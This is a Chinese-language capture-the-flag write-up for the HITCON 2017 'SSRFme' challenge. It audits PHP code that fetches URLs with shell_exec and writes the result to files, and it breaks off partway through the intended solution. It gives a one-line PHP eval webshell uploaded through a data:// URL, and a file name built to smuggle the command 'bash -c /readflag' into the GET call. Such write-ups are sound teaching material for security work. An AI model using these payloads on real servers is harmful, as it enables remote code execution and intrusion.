[HITCON 2017]SSRFme
打开页面,开始代码审计
1 | <?php |
获取ip地址并传给 $_SERVER[‘REMOTE_ADDR’]
1 | $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); |
将orange和ip地址转化成md5格式,生成一个唯一的字符串。这个字符串被用来创建一个目录路径,位于 sandbox/
目录下。
@mkdir($sandbox);用来创建目录
@chdir($sandbox);用于更改目录
1 | $data = shell_exec("GET " . escapeshellarg($_GET["url"])); |
使用shell_exec
通过GET命令获取URL的数据。解析文件路径信息,创建所需的目录,并将获取的数据通过file_put_contents写入文件
pathinfo用来访问文件路径
dir用来检查文件中是否有.,进行过滤
非预期解
由于文件中存在file_put_contents,我们考虑伪协议上传一句话木马
1 | ?url=data://text/plain,<?php eval($_POST[1]);?>&filename=flag.php |
上传后,我们打开上传目录
先将orange+ip地址进行md5加密(32位小)
ok,上传成功
我们连接蚁剑,连接成功
由于readflag里是一片乱码,我们用虚拟终端打开
得到flag
预期解
我们尝试访问根目录,
1 | /?url=/&filename=aaa |
接着访问aaa文件夹,路径:/sandbox/MD5(orange+ip )/aaa
我们发现根目录里有flag和readflag
flag应该需要readflag读取
1 | ?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行 |